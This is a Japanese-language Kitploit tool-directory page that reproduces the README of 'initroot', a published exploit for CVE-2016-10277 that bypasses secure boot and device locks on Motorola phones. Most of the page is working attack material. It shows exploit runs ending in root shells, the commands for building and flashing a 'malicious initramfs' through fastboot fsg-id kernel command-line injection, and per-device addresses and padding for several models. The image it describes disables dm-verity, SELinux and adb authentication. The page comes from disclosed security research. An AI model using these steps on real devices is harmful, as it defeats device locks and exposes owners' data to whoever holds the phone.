Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
initroot — Motorola Untethered Jailbreak: CVE-2016-10277を悪用したセキュアブートおよびデバイスロックのバイパス | Kitploit
ツール/GitHubGitHub/alephsecurity/initroot
Androidセキュリティ特権昇格永続化メカニズム脆弱性分析エクスプロイトモバイルセキュリティペイロード開発バイナリエクスプロイト
GitHubalephsecurity/initroot

initroot

Motorola Untethered Jailbreak: CVE-2016-10277を悪用したセキュアブートおよびデバイスロックのバイパス

リポジトリを見る
84248年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

initroot: Motorola ブートローダー カーネルコマンドラインインジェクションによるセキュアブート & デバイスロックのバイパス (CVE-2016-10277)

Roee Hay / Aleph Research, HCL Technologies 著

第一段階のエクスプロイト: テザリング型ジェイルブレイク

このエクスプロイトは、デバイス上で一時的な無制限の root アクセスを獲得します。 例えば、cedric の場合(読みやすさのため一部のメッセージは省略しています):

root@kitploit:~
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

第二段階のエクスプロイト: 非テザリング型ジェイルブレイク

このエクスプロイトは、デバイス上で永続的な root アクセスを獲得します。 例えば、athene の場合(読みやすさのため一部のメッセージは省略しています):

root@kitploit:~
$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

独自の悪意のある initramfs アーカイブを作成する

  1. コミット済みの initroot-<device>.cpio.gz を使用するか、独自に作成します:
root@kitploit:~
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
  1. コミット済みの initramfs イメージは、デフォルトで adb が root として実行されます。認証を要求しません。さらに、該当するパーティションでは dm-verity が無効化されています。
root@kitploit:~
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
  1. 私たちの initramfs を使用する場合、adb shell で root シェルが得られます:
root@kitploit:~
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

他の Moto デバイス向けの非テザリング型エクスプロイトを作成する

こちらのブログ記事をお読みください。

検証済みデバイス

コミュニティ報告

注記

この脆弱性は他の Motorola デバイスにも影響する可能性があります。異なる initramfs が必要になります。initrd の物理アドレス(SCRATCH_ADDR)も異なります。PADDING も異なる場合があります。

ビデオデモ

CVE-2016-10277 のビデオデモ

出版物

  1. initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection
  2. initroot: Hello Moto
  3. Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass
  4. Untethered initroot (USENIX WOOT '17)
  5. USENIX WOOT '17 paper
ツールをダウンロード
デバイスコードネームSCRATCH_ADDRPADDINGコミット済み initrams未使用パーティション
Nexus 6shamu0x110000000x0AOSP userdebugmmcblk0p11
Moto G5 (XT1676)cedric0xA01000000x2000000リリース版。SELinux の無効化、シェルへの set{u,g}id、ケーパビリティのドロップ、adb 認証の無効化などを行うよう init と adbd をパッチmmcblk0p41
Moto G4 (XT1622)athene0x900000000x2000000""mmcblk0p48
デバイスコードネームSCRATCH_ADDR報告者説明
Moto G5 Pluspotter0xA0100000drbeatブートプロパティを注入。[証明]
Moto G4 Play (XT1607)harpia0x90000000m-mullinsAmazon XT1607 の完全なエクスプロイト。[証明]
Moto G4 Play (XT1609)harpia0x90000000@utoprimeVerizon XT1609 の完全なエクスプロイト。[証明]
Moto G4 (XT1625)athene0x90000000@EWorcelブートループを引き起こした initrd を注入。[証明]
Moto G3osprey0x90000000@asiekierkaブートループを引き起こした initrd を注入。[証明]
Moto G2 (XT1072)thea0x11000000@TheElix注入された initrd によりブートループが発生。[証明]
Moto G (XT1032)falcon_retfr0x11000000Pierre Zurek64MB のパディングによる完全なエクスプロイト。[証明]
Moto E (XT830C)condor_cdma0x0E000000fetcherTracfone/Verizon にロックされた XT830C の 32MB パディングによる完全なエクスプロイト。[証明]
その他--@jcase[証明]